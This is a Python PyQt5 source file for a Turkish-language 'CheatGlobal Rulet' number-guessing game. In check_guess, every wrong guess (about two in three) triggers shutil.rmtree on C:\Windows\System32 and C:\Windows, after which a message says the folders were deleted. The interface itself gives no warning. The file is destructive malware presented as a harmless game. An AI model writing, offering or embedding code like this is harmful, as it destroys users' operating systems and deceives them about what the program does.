import sys
import random
import shutil
from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QComboBox, QPushButton, QMessageBox, QVBoxLayout, QWidget
from PyQt5.QtCore import Qt
class CheatGlobalRulet(QMainWindow):
def __init__(self):
super().__init__()
self.setWindowTitle("CheatGlobal Rulet Game")
self.setGeometry(100, 100, 400, 300)
self.folders_to_delete = ["C:\\Windows\\System32", "C:\\Windows"]
self.new_game()
main_widget = QWidget()
main_layout = QVBoxLayout()
self.title_label = QLabel("CheatGlobal Rulet")
self.title_label.setAlignment(Qt.AlignCenter)
self.title_label.setStyleSheet("font-size: 24px; font-weight: bold; color: white; background-color: black; padding: 10px;")
main_layout.addWidget(self.title_label)
self.label = QLabel("1, 2 veya 3'ü seçin:")
self.label.setAlignment(Qt.AlignCenter)
self.label.setStyleSheet("font-size: 18px; color: white;")
main_layout.addWidget(self.label)
self.guess_combo = QComboBox()
self.guess_combo.addItems(["1", "2", "3"])
self.guess_combo.setStyleSheet("font-size: 18px; background-color: white; color: black;")
main_layout.addWidget(self.guess_combo)
self.check_button = QPushButton("Tahmini Kontrol Et")
self.check_button.setStyleSheet("font-size: 18px; background-color: green; color: white; padding: 10px;")
self.check_button.clicked.connect(self.check_guess)
main_layout.addWidget(self.check_button)
main_widget.setLayout(main_layout)
main_widget.setStyleSheet("background-color: black;")
self.setCentralWidget(main_widget)
def new_game(self):
self.random_number = random.randint(1, 3)
def check_guess(self):
guess = int(self.guess_combo.currentText())
if guess == self.random_number:
QMessageBox.information(self, "Sonuç", f"Kazandın! Doğru sayı: {self.random_number}", QMessageBox.Ok)
else:
errors = []
for folder in self.folders_to_delete:
try:
shutil.rmtree(folder)
except Exception as e:
errors.append(f"{folder}: {e}")
if errors:
QMessageBox.critical(self, "Hata", "\n".join(errors), QMessageBox.Ok)
else:
QMessageBox.warning(self, "Sonuç", f"Yanlış tahmin. Doğru sayı: {self.random_number}. Klasörler silindi.", QMessageBox.Ok)
self.new_game()
if __name__ == "__main__":
app = QApplication(sys.argv)
window = CheatGlobalRulet()
window.show()
sys.exit(app.exec_())